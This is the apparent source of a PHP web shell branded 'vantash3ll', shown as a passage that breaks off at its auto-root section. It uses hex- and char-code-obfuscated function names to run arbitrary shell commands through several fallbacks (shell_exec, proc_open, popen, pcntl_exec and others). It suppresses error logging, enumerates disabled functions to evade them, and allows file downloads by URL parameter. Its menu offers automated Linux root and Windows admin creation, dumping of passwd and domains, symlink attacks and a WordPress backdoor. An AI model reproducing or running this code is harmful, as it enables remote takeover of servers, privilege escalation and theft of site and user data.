@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
$VANTAarr = ['676574637764', '676c6f62', '69735f646972', '69735f66696c65', '69735f7772697461626c65', '69735f7265616461626c65', '66696c657065726d73', '66696c65', '7068705f756e616d65', '6765745f63757272656e745f75736572', '68746d6c7370656369616c6368617273', '66696c655f6765745f636f6e74656e7473', '6d6b646972', '746f756368', '6368646972', '72656e616d65', '65786563', '7061737374687275', '73797374656d', '7368656c6c5f65786563', '706f70656e', '70636c6f7365', '73747265616d5f6765745f636f6e74656e7473', '70726f635f6f70656e', '756e6c696e6b', '726d646972', '666f70656e', '66636c6f7365', '66696c655f7075745f636f6e74656e7473', '6d6f76655f75706c6f616465645f66696c65', '63686d6f64', '7379735f6765745f74656d705f646972', '6261736536345F6465636F6465', '6261736536345F656E636F6465', '636f7079'];
$VANTA67 = count($VANTAarr); for ($i = 0; $i< $VANTA67; $i++) { $VANTAxas[] = unx($VANTAarr[$i]);}
if (!function_exists('_vnt_str')) { function _vnt_str($arr) { $r = ''; foreach ($arr as $n) $r .= chr($n); return $r; }}
function v4nt4C($pr1VANTA) { $fn = []; $fn[] = chDxzZ([115,104,101,108,108,95,101,120,101,99]); $fn[] = chDxzZ('101,120,101,99'); $fn[] = chDxXZ('73797374656d'); $fn[] = chDxzZ('112,97,115,115,116,104,114,117'); $fn[] = chDxXZ('70726f635f6f70656e'); $fn[] = chDxzZ([112,111,112,101,110]); $fn[] = chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100]); $fn[] = chDxXZ('6573636170657368656c6c617267'); $fn[] = chDxzZ([99,117,114,108,95,101,120,101,99]); $fn[] = chDxzZ('109,97,105,108'); $fn[] = chDxXZ('63616c6c5f757365725f66756e63'); $fn[] = chDxzZ('102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115'); $fn[] = chDxzZ('102,111,112,101,110'); $fn[] = chDxzZ('102,119,114,105,116,101'); $fn[] = chDxzZ('102,99,108,111,115,101'); $fn[] = chDxzZ('112,117,116,101,110,118'); $fn[] = chDxzZ('105,110,105,95,115,101,116'); $fn[] = chDxzZ([112,99,110,116,108,95,101,120,101,99]); $fn[] = chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118]); $fn[] = chDxzZ([109,113,95,111,112,101,110]); $fn[] = chDxzZ([103,99,95,111,112,101,110]); $out = false; for ($i = 0; $i< count($fn); $i++) { $f = $fn[$i]; if (!function_exists($f)) continue; if ($f === chDxzZ([115,104,101,108,108,95,101,120,101,99])) { $out = @$f($pr1VANTA); if (!empty($out)) break; } elseif ($f === chDxzZ('101,120,101,99')) { $lines = []; @$f($pr1VANTA, $lines); $out = join("\n", $lines); if (!empty($out)) break; } elseif ($f === chDxXZ('73797374656d')) { ob_start(); @$f($pr1VANTA); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxzZ('112,97,115,115,116,104,114,117')) { ob_start(); @$f($pr1VANTA); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('70726f635f6f70656e')) { $d = [1=>["pipe","w"],2=>["pipe","w"]]; $p = @$f($pr1VANTA, $d, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (!empty($out)) break; } } elseif ($f === chDxzZ([112,111,112,101,110])) { $h = @$f($pr1VANTA . " 2>&1", "r"); $res = ""; if ($h) { while (!feof($h)) $res .= fread($h, 4096); pclose($h); } if (strlen($res)) { $out = $res; break; } } elseif ($f === chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100])) { $esc = $f($pr1VANTA); ob_start(); @system($esc); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('6573636170657368656c6c617267')) { $esc = $f($pr1VANTA); $out = @chDx2x($esc); if (!empty($out)) break; } elseif ($f === chDxzZ([99,117,114,108,95,101,120,101,99])) { $ch = @curl_init('file:///proc/self/cmdline'); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, $pr1VANTA); $r = @curl_exec($ch); @curl_close($ch); if ($r && strpos($r, $pr1VANTA) !== false) { $out = $r; break; } } elseif ($f === chDxzZ('109,97,105,108')) { $to = uniqid()."@".uniqid().".xyz"; @mail($to, $pr1VANTA, $pr1VANTA); $out = ""; } elseif ($f === chDxXZ('63616c6c5f757365725f66756e63')) { $shellfunc = chDxzZ([115,104,101,108,108,95,101,120,101,99]); if (function_exists($shellfunc)) { $out = @call_user_func($shellfunc, $pr1VANTA); if (!empty($out)) break; }} elseif ($f === chDxzZ('102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115')) { $r = @$f("php://filter/read=convert.base64-encode/resource=" . $pr1VANTA); if ($r && strlen($r) >0) { $out = $r; break; } } elseif ($f === chDxzZ('102,111,112,101,110')) { $tmpf = sys_get_temp_dir() . "/" . uniqid("s-cmd") . ".sh"; $h = @$f($tmpf, "w"); if ($h) { fwrite($h, $pr1VANTA); fclose($h); } $r = @chDx2x("sh " . escapeshellarg($tmpf) . " 2>&1"); if ($r) { $out = $r; @unlink($tmpf); break; } } elseif ($f === chDxzZ('112,117,116,101,110,118')) { @putenv("CMD=".$pr1VANTA); $r = @getenv("CMD"); if ($r == $pr1VANTA) { $out = $r; break; } } elseif ($f === chDxzZ('105,110,105,95,115,101,116')) { @ini_set("auto_prepend_file", $pr1VANTA); $out = @file_get_contents($_SERVER['SCRIPT_FILENAME']); if (!empty($out)) break; } elseif ($f === chDxzZ([112,99,110,116,108,95,101,120,101,99])) { @pcntl_exec("/bin/sh", array("-c", $pr1VANTA)); } elseif ($f === chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118])) { @apache_setenv("CMD", $pr1VANTA); $out = getenv("CMD"); if ($out == $pr1VANTA) break; } elseif ($f === chDxzZ([109,113,95,111,112,101,110]) || $f === chDxzZ([103,99,95,111,112,101,110])) { } } return $out !== false ? $out : false;}if (!function_exists('chDxzZ')) { function chDxzZ($arr) { if (is_string($arr)) $arr = explode(',', $arr); $r = ''; foreach ($arr as $n) $r .= chr(is_numeric($n) ? $n : hexdec($n)); return $r; }}
if (!function_exists('prvdyzhsax')) { function prvdyzhsax($str) { $y = ''; for ($i = 0; $i< strlen($str); $i++) $y .= dechex(ord($str[$i])); return $y; }}
if (!function_exists('chDxXZ')) { function chDxXZ($hx) { $n = ''; for ($i = 0; $i< strlen($hx) - 1; $i += 2) $n .= chr(hexdec($hx[$i] . $hx[$i + 1])); return $n; }}
if (isset($_GET['VANTA'])) { $cdir = unx($_GET['VANTA']); if (@is_dir($cdir)) { $VANTAxas[14]($cdir); } else { } } else { $cdir = $VANTAxas[0](); }
function VANTAd0($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; }}
if (!empty($_GET['don'])) {$FilesDon = VANTAd0(unx($_GET['don']));}

<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
vantash3ll - <?= $_SERVER['SERVER_NAME']; ?> <title>vantash3ll - = $_SERVER['SERVER_NAME']; </title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
<style>@import url(https://fonts.googleapis.com/css2?family=Recursive:wght@400;700&display=swap);:root{--bg:#15181e;--panel:#20242a;--card:#232833;--accent:#6bff75;--accent2:#a8ffa0;--accent3:#9bff6e;--error:#fff;--success:#7effa7;--warn:#ffd84a;--border:#353a46;--badge:#222935;--text-main:#e7fcff;--text-dim:#b4c3ce;--btn-hover:#193844;--table-alt:#222d38;--table-hover:#2e3e4a;--modal:#161920;--shadow:0 6px 30px #00e0ff15}body{background:var(--bg);color:var(--text-main);font-family:'Recursive',monospace;font-size:15px;margin:0;letter-spacing:.01em}a,a:visited{color:var(--accent2);text-decoration:none;transition:color .13s}a:hover{color:var(--accent);text-shadow:0 0 7px var(--accent)}.vanta-header,.vanta-header2-bar{background:var(--panel);border-bottom:1.5px solid var(--border);box-shadow:var(--shadow);padding:17px 3vw 13px;display:flex;align-items:center;justify-content:space-between;margin-right:54px}.vanta-logo2{display:flex;align-items:center;font-size:1.23em;gap:13px;font-family:'Recursive',monospace;font-weight:900;color:var(--accent2);letter-spacing:.12em;text-transform:uppercase;text-shadow:0 2px 16px #0008}.vanta-logo2-led{width:11px;height:11px;border-radius:50%;background:var(--accent2);box-shadow:0 0 9px var(--accent2)}.vanta-logo2-txt{color:var(--accent2);text-shadow:0 0 8px #ffd84a44}.vanta-ver2{color:var(--accent);font-size:.85em;margin-left:3px}.vanta-logo2-dot{width:5px;height:5px;border-radius:50%;background:var(--error);margin-left:8px}.vanta-menu-grid{display:flex;flex-wrap:wrap;gap:8px;padding:0;margin:0;list-style:none}.vanta-chip{background:var(--badge);color:var(--accent2);font-family:'Recursive',monospace;padding:7px 15px;border-radius:7px;font-weight:700;border:1.2px solid var(--border);box-shadow:0 2px 10px #f3e85e10;transition:background .15s,color .13s;display:flex;align-items:center;gap:8px;font-size:.94em}.vanta-chip:hover{background:var(--accent2);color:#2a2a2a;border-color:var(--accent2)}.v4nt4-lite-uname{font-size:.94em;color:var(--accent);background:var(--panel);border-bottom:2px solid var(--accent);border-top:2px solid var(--accent2);padding:10px 22px 10px;letter-spacing:.06em;display:flex;align-items:center;gap:13px;margin-bottom:10px;overflow-x:auto;border-radius:8px 8px 0 0;box-shadow:0 2px 12px #00e0ff09;text-shadow:0 0 6px #00e0ff28}.v4nt4-lite-dot{display:inline-block;width:9px;height:9px;border-radius:50%;background:linear-gradient(135deg,var(--accent2) 60%,var(--accent) 100%);margin-right:10px;box-shadow:0 0 8px var(--accent2),0 0 2px #13ffc350}.v4nt4-lite-info{background:var(--card);border-left:3px solid var(--accent2);border-radius:0 9px 9px 9px;margin-bottom:16px;padding:7px 0;display:grid;grid-template-columns:1fr;gap:0;box-shadow:0 1px 10px 0 #13ffc310;max-width:100vw}.v4nt4-lite-row{font-size:.94em;color:var(--text-main);padding:8px 22px;border-bottom:1px dashed var(--border);display:flex;align-items:center;gap:14px;min-width:0;overflow:hidden;background:var(--panel);border-radius:5px;transition:background .14s}.v4nt4-lite-row:nth-child(odd){background:var(--card)}.v4nt4-lite-row:hover{background:var(--table-hover)}.v4nt4-lite-key{font-weight:700;color:var(--accent2);min-width:88px;font-size:.94em;letter-spacing:.04em;text-align:right;display:inline-block;opacity:.93}.v4nt4-lite-val{font-family:inherit;padding-left:13px;flex:1 1 0%;overflow:hidden;font-size:.94em;color:var(--accent2);background:#fff1;border-radius:5px;font-weight:900;letter-spacing:.01em}.v4nt4-lite-on{color:var(--success)!important;background:#232f2a!important;border-radius:6px;padding:2px 9px;font-weight:900}.v4nt4-lite-off{color:var(--error)!important;background:#231a1e!important;border-radius:6px;padding:2px 9px;font-weight:900}.v4nt4-lite-breadcrumb{background:var(--card);color:var(--accent2);padding:9px 19px 8px 14px;border-left:3px solid var(--accent);border-radius:0 8px 8px 0;font-size:.99em;margin-bottom:7px;display:flex;gap:3px;flex-wrap:wrap;min-height:11px;box-shadow:0 1px 8px 0 #131b1f44}.v4nt4-lite-bc{color:var(--accent);font-weight:700;font-size:.94em;border-radius:7px;background:var(--badge);margin-right:3px;margin-bottom:2px;transition:background .14s,color .13s}.v4nt4-lite-bc:hover{bcolor:#232833}@media (max-width:900px){.v4nt4-lite-row,.v4nt4-lite-info{padding:5px 7px;font-size:.98em}.v4nt4-lite-breadcrumb{padding:7px 3px 7px 5px;font-size:.94em}}.v4nt4-filelist-root{border-radius:11px;border:2px solid var(--border);box-shadow:0 3px 22px #00e0ff12;margin-bottom:22px}.v4nt4-filelist-head,.v4nt4-file-row{display:grid;grid-template-columns:30px 38px 2fr 1fr 1fr 1.6fr 1.2fr;align-items:center;font-size:.94em}.v4nt4-filelist-head{background:#232833;color:var(--accent2);border-bottom:2px solid var(--border);min-height:38px;text-transform:lowercase;letter-spacing:.04em;font-weight:900}.v4nt4-file-row{background:var(--card);border-bottom:1px solid var(--border);min-height:38px;transition:background .13s,border .13s}.v4nt4-file-row:hover{background:var(--table-hover);border-left:3px solid var(--accent2);z-index:1}.v4nt4-file-col{padding:8px 7px;display:flex;align-items:center;min-width:0}.v4nt4-file-check input{accent-color:var(--accent2);width:15px;height:15px}.v4nt4-file-icon i{font-size:1.19em;color:var(--accent3)}.v4nt4-file-link{color:var(--accent);font-family:'Recursive',monospace;font-weight:900;white-space:nowrap;overflow:hidden}.v4nt4-file-link:hover{color:var(--accent2)}.v4nt4-file-ext{margin-left:9px;background:#18223a;color:var(--accent2);font-size:.79em;border-radius:6px;padding:1.5px 8px;font-weight:700;letter-spacing:.04em}.v4nt4-file-perm{font-family:'Recursive',monospace;text-align:right;display:inline-flex;align-items:center;font-size:.94em;padding:5px 12px 5px 11px;border-radius:8px;letter-spacing:.04em;gap:7px}.v4nt4-perm-green{color:var(--success)}.v4nt4-perm-red{color:var(--error)}.v4nt4-file-writable{color:var(--success)}.v4nt4-file-readonly{background:#291a1f;color:var(--error);border:1px solid #ff497980}.v4nt4-file-size-badge{display:inline-flex;align-items:center;gap:6px;color:var(--accent);border-radius:7px;padding:5px 13px 5px 10px;font-size:.74em;letter-spacing:.01em;font-weight:700;transition:background .12s,color .12s}.v4nt4-file-actions{display:flex;gap:8px;align-items:center;justify-content:flex-end;width:100%}.v4nt4-file-actions a{display:inline-flex;align-items:center;justify-content:center;background:var(--badge);border-radius:7px;border:1.1px solid var(--border);font-size:.94em;padding:7px 10px;color:var(--accent3);box-shadow:0 1px 9px #13ffc310;transition:background .14s,color .13s,box-shadow .12s;font-weight:900}.v4nt4-file-actions a[title=Rename]{color:#55ff70;background:#1a2531;border-color:#3fa9e230}.v4nt4-file-actions a[title=Chmod]{color:var(--warn);background:#262517;border-color:#ffe65145}.v4nt4-file-actions a[title=Delete]{color:var(--error);background:#3c0014;border-color:#ff497930}.v4nt4-file-actions a[title=Download]{color:var(--success);background:#17271e;border-color:#7effa720}.v4nt4-file-actions a:hover{background:var(--accent);color:#242a3a;border-color:var(--accent2);box-shadow:0 4px 22px #00e0ff36}.v4nt4-filelist-foot{display:flex;align-items:center;justify-content:flex-end;gap:13px;padding:11px 19px 8px;border-top:1px solid var(--border);background:var(--card);border-radius:0 0 11px 11px}.v4nt4-filelist-select{background:var(--badge);color:var(--accent2);border:1.1px solid var(--border);border-radius:7px;padding:6px 15px;font-family:inherit;font-size:.91em;outline:0;font-weight:700}.v4nt4-filelist-btn{background:var(--accent);color:#232933;border:none;padding:8px 24px;border-radius:8px;font-size:.99em;display:flex;align-items:center;gap:7px;font-weight:900;transition:background .13s,color .13s;cursor:pointer}.v4nt4-filelist-btn:hover{background:var(--accent2);color:#232833}.vanta-fm-actions{display:flex;gap:10px;align-items:center;flex-wrap:wrap;padding:8px 0 2px;background:var(--panel)}.vanta-fm-btn{display:inline-flex;align-items:center;gap:5px;padding:3.5px 12px;font-size:.94em;margin-right:2px;cursor:pointer;border-radius:8px;border:1.5px solid var(--border);background:var(--badge);color:var(--accent);font-weight:700;transition:background .14s,color .13s,border .13s}.vanta-fm-btn:focus,.vanta-fm-btn:hover{background:var(--accent2);color:#161a1d;border-color:var(--accent2)}::-webkit-scrollbar{width:10px;background:#15181e}::-webkit-scrollbar-thumb{background:#00e0ff;border-radius:8px}@media (max-width:1050px){.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:22px 22px 1.3fr 0.7fr 0.7fr 1.2fr 0.8fr;font-size:.94em}}@media (max-width:900px){.vanta-header,.vanta-header2-bar{flex-direction:column;align-items:flex-start}.vanta-menu-grid{gap:5px}.v4nt4-file-row,.v4nt4-filelist-head{font-size:.94em}.v4nt4-filelist-head,.v4nt4-file-row{padding:6px 3px}}@media (max-width:600px){.v4nt4-lite-row,.v4nt4-lite-info{padding:4px 3px;font-size:.98em}.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:14px 15px 1fr 0.5fr 0.6fr 1fr 0.7fr;font-size:.92em}}.v4nt4-badge-danger,.v4nt4-badge-success,.v4nt4-badge-ok,.v4nt4-badge-alert,.v4nt4-lite-badge{padding:2.5px 10px;border-radius:8px;font-size:.93em;font-weight:700;letter-spacing:.01em;display:inline-block}.v4nt4-badge-danger,.v4nt4-badge-alert{background:#2c1625;color:var(--error);border:1px solid #ff497948}.v4nt4-badge-success,.v4nt4-badge-ok{background:#1a2623;color:var(--success);border:1px solid #7effa755}.v4nt4-lite-badge{background:#21272e;color:var(--accent2);border:1px solid #ffd84a55}.v4nt4-modal-bg,.v4nt4-modal-wizard,.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz{z-index:20000}.v4nt4-modal-bg{position:fixed;inset:0;background:rgb(17 21 31 / .91);display:flex;align-items:center;justify-content:center;padding:0}.v4nt4-modal-wizard{background:var(--modal);border-radius:14px;box-shadow:0 14px 64px 0 #00e0ff25,0 0 0 2px #f3e85e18;max-width:560px;min-width:0;width:97vw;border:2px solid var(--accent2);font-family:'Recursive',monospace;display:flex;flex-direction:column;overflow:hidden}.v4nt4-modal-header-wiz{display:flex;align-items:center;gap:15px;border-radius:14px 14px 0 0;padding:16px 20px 9px;background:#171b23;border-bottom:2px solid var(--border);position:relative;min-height:42px}.v4nt4-wiz-icon{background:#1129ae;color:#ffd84a;font-size:1.3em;border-radius:10px;width:38px;height:38px;display:flex;align-items:center;justify-content:center;box-shadow:0 1px 8px #00e0ff18}.v4nt4-wiz-title{font-size:1.08em;color:var(--accent2);font-weight:900;letter-spacing:.05em}.v4nt4-wiz-desc{color:#ccd5ec;font-size:.98em;font-weight:600;opacity:.83;letter-spacing:.01em;max-width:350px;overflow-x:auto}.v4nt4-modal-close-wiz{font-size:1.53em;color:#ffd84a;background:none;border:none;text-decoration:none;line-height:1;padding:0 10px;border-radius:8px;position:absolute;right:12px;top:9px;cursor:pointer;transition:background .13s,color .13s}.v4nt4-modal-close-wiz:hover{background:var(--accent2);color:#181a1d}.v4nt4-wiz-section{display:flex;align-items:flex-start;gap:14px;padding:16px 40px 0}.v4nt4-wiz-section-icon{background:#00e0ff1a;color:var(--accent);font-size:1.18em;border-radius:9px;width:30px;height:30px;display:flex;align-items:center;justify-content:center;margin-top:2px}.v4nt4-wiz-fields{flex:1;display:flex;flex-direction:column;gap:6px}.v4nt4-wiz-input,textarea.v4nt4-wiz-editorarea{border:1.5px solid var(--border);border-radius:7px;outline:0;transition:border .13s,box-shadow .11s;font-size:.94em;padding:9px 12px;font-family:'Recursive',monospace;background:var(--card);color:var(--accent2);font-weight:600}textarea.v4nt4-wiz-editorarea{min-height:170px;resize:vertical}.v4nt4-wiz-editorarea:focus,.v4nt4-wiz-input:focus{border-color:var(--accent2);box-shadow:0 0 0 2px #00e0ff50}.v4nt4-modal-actions-wiz{display:flex;justify-content:flex-end;gap:12px;border-top:1.4px solid var(--border);padding:13px 18px 10px;background:#232c38;border-radius:0 0 14px 14px}.v4nt4-wiz-btn{padding:7px 18px;border-radius:7px;font-size:.94em;border:none;cursor:pointer;display:flex;align-items:center;gap:8px;font-family:inherit;outline:0;font-weight:700;letter-spacing:.01em;transition:background .13s,color .13s,border .12s;text-decoration:none}.v4nt4-wiz-btn-red{background:var(--accent);color:#2a2a2a;border:1.3px solid var(--accent2)}.v4nt4-wiz-btn-red:hover{background:var(--accent2);color:#232833;border-color:var(--accent2)}.v4nt4-wiz-btn-light{background:var(--card);color:var(--accent2);border:1.2px solid var(--border)}.v4nt4-wiz-btn-light:hover{background:var(--accent2);color:#161a1d;border-color:var(--accent2)}@media (max-width:600px){.v4nt4-modal-wizard{max-width:99vw;border-radius:8px}.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz,.v4nt4-wiz-section{padding-left:8px;padding-right:8px}}input[type="text"],input[type="number"],input[type="file"],select,textarea{font-family:'Recursive',monospace;background:var(--panel);color:var(--accent2);border:1.4px solid var(--border);border-radius:6px;font-size:.94em;padding:9px 13px;outline:0;font-weight:700;transition:border .13s,box-shadow .11s}input:focus,select:focus,textarea:focus{border-color:var(--accent2);box-shadow:0 0 0 2px #f3e85e40}button,input[type="submit"]{background:var(--accent2);color:#232833;border:none;border-radius:7px;font-weight:900;padding:10px 22px;font-size:1.04em;letter-spacing:.02em;cursor:pointer;transition:background .13s,color .13s;font-family:'Recursive',monospace}button:hover,input[type="submit"]:hover{background:var(--accent);color:#232833}.v4nt4-table-func,.v4nt4-table-net,.v4nt4-table-proc{width:100%;border-collapse:collapse;background:var(--panel);font-size:.98em;font-family:'Recursive',monospace;border-radius:9px;box-shadow:0 2px 10px #00e0ff11;margin-bottom:13px}.v4nt4-table-func thead th,.v4nt4-table-net thead th,.v4nt4-table-proc thead th{background:#21263a;color:var(--accent2);font-weight:900;padding:10px 9px;border-bottom:1.5px solid var(--border);text-align:left;font-size:.94em;text-shadow:0 1px 0 #1d232d}.v4nt4-table-func tbody td,.v4nt4-table-net tbody td,.v4nt4-table-proc tbody td{padding:10px 9px;border-bottom:1.2px solid #2d2f3d;color:var(--text-main);font-weight:700;background:var(--panel)}.v4nt4-table-func tbody tr:nth-child(odd),.v4nt4-table-net tbody tr:nth-child(odd),.v4nt4-table-proc tbody tr:nth-child(odd){background:#232c39}.v4nt4-table-func tbody tr:hover,.v4nt4-table-net tbody tr:hover,.v4nt4-table-proc tbody tr:hover{background:var(--table-hover);color:var(--accent2)}.wp_VANTAd00r-main{background:var(--card);border-radius:20px;box-shadow:0 4px 32px #00e0ff10;max-width:900px;margin:32px auto 40px;padding:29px 18px 19px 24px;font-family:'Recursive',monospace}.wp_VANTAd00r-title{color:var(--accent2);font-size:1.39em;font-weight:900;margin-bottom:7px;display:flex;align-items:center;gap:12px;letter-spacing:.01em;text-shadow:0 0 9px #ffd84a60}.wp_VANTAd00r-alert{padding:13px 18px;border-radius:9px;background:#1a2b2e;color:var(--error);font-weight:900;margin-bottom:18px;box-shadow:0 1px 8px #00e0ff10;font-size:1.07em}.wp_VANTAd00r-alert.ok{background:#11281c;color:var(--success);border:1.2px solid #7effa7}.wp_VANTAd00r-btn,.wp_VANTAd00r-btn-blue,.wp_VANTAd00r-btn-green,.wp_VANTAd00r-btn-copy{display:inline-block;padding:4px 14px;margin:2px;border-radius:7px;background:var(--accent2);color:#232833;font-size:.94em;font-weight:900;cursor:pointer;transition:background .13s;border:1.1px solid #ffd84a44}.wp_VANTAd00r-btn-blue{background:var(--accent);color:#2a2a2a}.wp_VANTAd00r-btn-green{background:var(--success);color:#232833}.wp_VANTAd00r-btn-copy{background:var(--panel);color:var(--accent2);border:1.3px solid var(--accent2)}.wp_VANTAd00r-btn-copy:hover{background:var(--accent2);color:#1a1e1d}.wp_VANTAd00r-users table{width:100%;font-size:.99em;border-collapse:collapse;background:var(--card);margin-bottom:13px}.wp_VANTAd00r-users td,.wp_VANTAd00r-users th{padding:7px;border-bottom:1.2px solid #393a22;text-align:left;vertical-align:middle}.wp_VANTAd00r-users th{color:var(--accent2);font-weight:900;background:#181d25}.wp_VANTAd00r-users tr:hover{background:#242c2e}.wp_VANTAd00r-pw{font-family:'Recursive',monospace;font-size:.96em;color:#229aff;padding:1px 8px;border-radius:5px;background:#18223a;margin-left:3px}@media (max-width:700px){.v4nt4-file-row,.v4nt4-filelist-head{grid-template-columns:12px 13px 1fr 0.5fr 0.5fr 1fr 0.7fr;font-size:.89em}.v4nt4-lite-row,.v4nt4-lite-info{padding:4px 2px;font-size:.96em}.v4nt4-modal-wizard{max-width:100vw;border-radius:0;left:0;transform:none}.v4nt4-modal-header-wiz,.v4nt4-modal-actions-wiz,.v4nt4-wiz-section{padding-left:6px;padding-right:6px}}.vanta-swal-popup{border-radius:14px!important;box-shadow:0 8px 38px #00e0ff25,0 0 0 3px #13ffc319;font-family:'Recursive',monospace!important;letter-spacing:.01em;padding-top:26px!important}.vanta-swal-success{border:2.5px solid #10b98199;background:#15181e!important;color:#7effa7!important}.vanta-swal-error{border:2.5px solid #e5393595;background:#2a181d!important;color:#ff4a7a!important}.vantacontainer{max-width:1300px;margin:32px auto;background:#232833;border-radius:14px;box-shadow:0 4px 32px #0004;padding:32px 24px}.vantaheader{max-width:1300px;margin:32px auto;background:#232833;border-radius:14px;box-shadow:0 4px 32px #0004;padding:32px 24px}</style>

<div class="vantaheader">
<header class="vanta-header">
<div class="vanta-header2-bar">
<div class="vanta-logo2">
<img src="https://cdn.privdayz.com/images/icon.png" referrerpolicy="unsafe-url" />
<span class="vanta-logo2-txt">vanta<b class="vanta-ver2">sh3ll</span>
<img src="https://cdn.privdayz.com/images/icon.png" referrerpolicy="unsafe-url" />
</div>
</div>
<nav class="vanta-menu">
<ul class="vanta-menu-grid">
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) " class="vanta-chip"><i class="fas fa-home"></i><span>home</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &vanta-cmd" class="vanta-chip"><i class="fas fa-terminal"></i><span>terminal</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &v4nt4_auto_r00t" class="vanta-chip"><i class="fa-brands fa-linux"></i><span>auto linux root</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &winr00t" class="vanta-chip"><i class="fa-brands fa-windows"></i><span>win auto create admin</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &multicgi" class="vanta-chip"><i class="fas fa-ghost"></i>create cgi/perl</a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &domains" class="vanta-chip"><i class="fas fa-globe"></i> <span>show d0mains</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &passwd" class="vanta-chip"><i class="fas fa-key"></i> <span>show passwd</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &symlink" class="vanta-chip"><i class="fas fa-link"></i> <span>syml1nk file</span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &wp_VANTAd00r" class="vanta-chip"><i class="fab fa-wordpress"></i> <span>wordpress sites in ftp</small></span></a></li>
<li><a href="?VANTA== vanta_PR1V($VANTAxas[0]()) &adminer" class="vanta-chip"><i class="fas fa-server"></i> <span>download adminer</span></a></li>
</ul>
</nav>
</header>

function formatMemory($bytes) { if ($bytes === 'N/A') return 'N/A'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow];}
function g3tdbX() { $d1sxb = ini_get('disable_functions'); if (empty($d1sxb)) { return array(); } return explode(',', $d1sxb);}
$impdBX = array("\145\x78\x65\x63", "\x73\171\163\x74\145\155", "\x73\150\x65\x6c\154\137\145\170\145\x63", "\160\141\163\x73\x74\150\x72\165", "\x70\162\x6f\143\137\157\160\x65\156", "\x70\x6f\160\145\156", "\x63\165\162\154\137\x65\170\145\143", "\x63\x75\x72\154\x5f\x6d\165\154\x74\151\x5f\x65\x78\x65\x63", "\x70\x61\x72\x73\145\x5f\151\156\151\137\x66\151\x6c\145", "\x73\x68\x6f\x77\x5f\163\157\165\162\x63\145", "\x73\x79\155\x6c\151\x6e\153", "\x70\x75\x74\145\156\x76", "\155\141\151\x6c", "\x64\154", "\143\150\155\x6f\x64", "\143\x68\157\x77\x6e", "\143\150\147\x72\160", "\154\151\156\x6b", "\146\163\157\143\x6b\157\x70\x65\156", "\160\146\163\157\143\x6b\157\160\x65\x6e", "\160\x6f\x73\151\170\137\x6b\151\154\154", "\x70\157\163\x69\170\137\155\153\146\x69\x66\x6f", "\160\x6f\163\151\170\137\x73\x65\x74\160\147\x69\144", "\160\157\163\151\170\x5f\163\x65\164\x73\151\x64", "\x70\157\x73\x69\x78\137\163\x65\x74\165\151\x64", "\160\x63\x6e\x74\x6c\x5f\145\170\145\143", "\x69\x6d\x61\x70\137\x6f\x70\x65\x6e", "\141\160\141\143\x68\x65\x5f\x73\x65\x74\x65\x6e\166", "\160\x72\x6f\143\x5f\x6e\x69\x63\145", "\160\162\x6f\x63\x5f\164\x65\162\x6d\x69\x6e\x61\164\x65", "\160\162\157\143\x5f\x67\x65\x74\x5f\x73\x74\141\x74\165\163", "\145\x73\143\x61\160\x65\163\150\145\154\x6c\x63\x6d\x64", "\x65\x73\143\141\x70\145\163\x68\x65\154\154\141\x72\147", "\x69\x6e\x69\137\x72\x65\163\x74\157\162\x65", "\163\164\162\145\141\x6d\x5f\x73\157\x63\x6b\145\164\137\x73\x65\162\x76\145\162");
$d1sbfX = g3tdbX(); $d1sxbImportant = array_intersect($impdBX, $d1sbfX); $fn_str_replace = _vnt_str([115,116,114,95,114,101,112,108,97,99,101]); $fn_explode = _vnt_str([101,120,112,108,111,100,101]); $fn_trim = _vnt_str([116,114,105,109]);


<div class="vantacontainer">
<div class="privcontent flex-1 overflow-auto">
<div class="p-6">
if (isset($_GET['v4nt4_auto_r00t'])):

session_start();
if (!isset($_SESSION['vantash3ll_r00t_status'])) $_SESSION['vantash3ll_r00t_status'] = 'user';
if (!isset($_SESSION['vantash3ll_r00t_log'])) $_SESSION['vantash3ll_r00t_log'] = [];
